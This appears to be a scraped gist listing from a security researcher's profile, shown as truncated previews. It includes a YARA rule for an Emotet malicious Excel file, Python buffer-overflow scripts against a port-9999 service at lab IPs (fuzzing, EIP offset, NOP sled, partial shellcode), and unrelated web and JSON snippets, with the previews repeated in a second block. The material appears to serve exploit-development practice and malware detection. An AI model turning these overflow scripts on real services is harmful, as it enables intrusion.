Arda Büyükkaya whichbuffer

## Emotet_MalDoc.yara
import "pe"
import "hash"

rule Emotet_MalDoc {
   meta:
      description = " - file Report.xls"
      author = "Arda Büyükkaya"
      date = "2022-11-15"
      hash1 = "6023b9ebfedf73d90a9dfbb2de6fca123b94c0e686ff71c67e89d9c8bb598d71"
      interesting_icon_hash = "main_icon_dhash:0033232700020000"

## gist:f77809235c63a1ae4eb8f040b9ea4bff
calc.exe

## shellFinal.py
#!/usr/bin/python
import socket
server = '192.168.1.33'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (
"\xba\x1f\xa9\x2f\xbb\xda\xcd\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"

## vs-shell.py
#!/usr/bin/python
import socket
server = '192.168.119.129'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (

## vs-eip2.py
#!/usr/bin/python
import socket
server = '192.168.119.129'
sport = 9999

prefix = 'A' * 2006
eip = 'BCDE'
padding = 'F' * (3000 - 2006 - 4)
attack = prefix + eip + padding

## vs-fuzz1.py
#!/usr/bin/python
import socket
server = '192.168.1.33'
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

## index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <ul id="imglist"></ul>

## IMDB.json
{
	"Contents":[
	   {
		  "Title":"Countdown ",
		  "Description":"When a nurse downloads an app that claims to predict the moment a person will die, it tells her she only has three days to live. With the clock ticking and a figure haunting her, she must find a way to save her life before time runs out.",
		  "Director":"Justin Dec",
		  "Category":[
			 "\\Secizle\\Vizyondakiler",
			 "\\Secizle\\OneCikanlar"
		  ],

## fetch2.js
async function getJson(){
    const response = await fetch('https://randomuser.me/api/?results=10');
    const data = await response.json();
    console.log(data.results);
    for(let i=0;i<data.results.length;i++){
        document.getElementById('authors').innerHTML
            +=("<br>" + data.results[i].name.first + " "  + data.results[i].name.last + "<br>");
    }
}

## fetch.js
const response = fetch('https://randomuser.me/api/?results=10');
	import "pe"
	import "hash"

	rule Emotet_MalDoc {
	meta:
	description = " - file Report.xls"
	author = "Arda Büyükkaya"
	date = "2022-11-15"
	hash1 = "6023b9ebfedf73d90a9dfbb2de6fca123b94c0e686ff71c67e89d9c8bb598d71"
	interesting_icon_hash = "main_icon_dhash:0033232700020000"
	#!/usr/bin/python
	import socket
	server = '192.168.1.33'
	sport = 9999

	prefix = 'A' * 2006
	eip = '\xaf\x11\x50\x62'
	nopsled = '\x90' * 16
	exploit = (
	"\xba\x1f\xa9\x2f\xbb\xda\xcd\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
	#!/usr/bin/python
	import socket
	server = '192.168.119.129'
	sport = 9999

	prefix = 'A' * 2006
	eip = '\xaf\x11\x50\x62'
	nopsled = '\x90' * 16
	exploit = (
	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Document</title>
	</head>
	<body>
	<ul id="imglist"></ul>
	{
	"Contents":[
	{
	"Title":"Countdown ",
	"Description":"When a nurse downloads an app that claims to predict the moment a person will die, it tells her she only has three days to live. With the clock ticking and a figure haunting her, she must find a way to save her life before time runs out.",
	"Director":"Justin Dec",
	"Category":[
	"\\Secizle\\Vizyondakiler",
	"\\Secizle\\OneCikanlar"
	],
	async function getJson(){
	const response = await fetch('https://randomuser.me/api/?results=10');
	const data = await response.json();
	console.log(data.results);
	for(let i=0;i<data.results.length;i++){
	document.getElementById('authors').innerHTML
	+=("<br>" + data.results[i].name.first + " " + data.results[i].name.last + "<br>");
	}
	}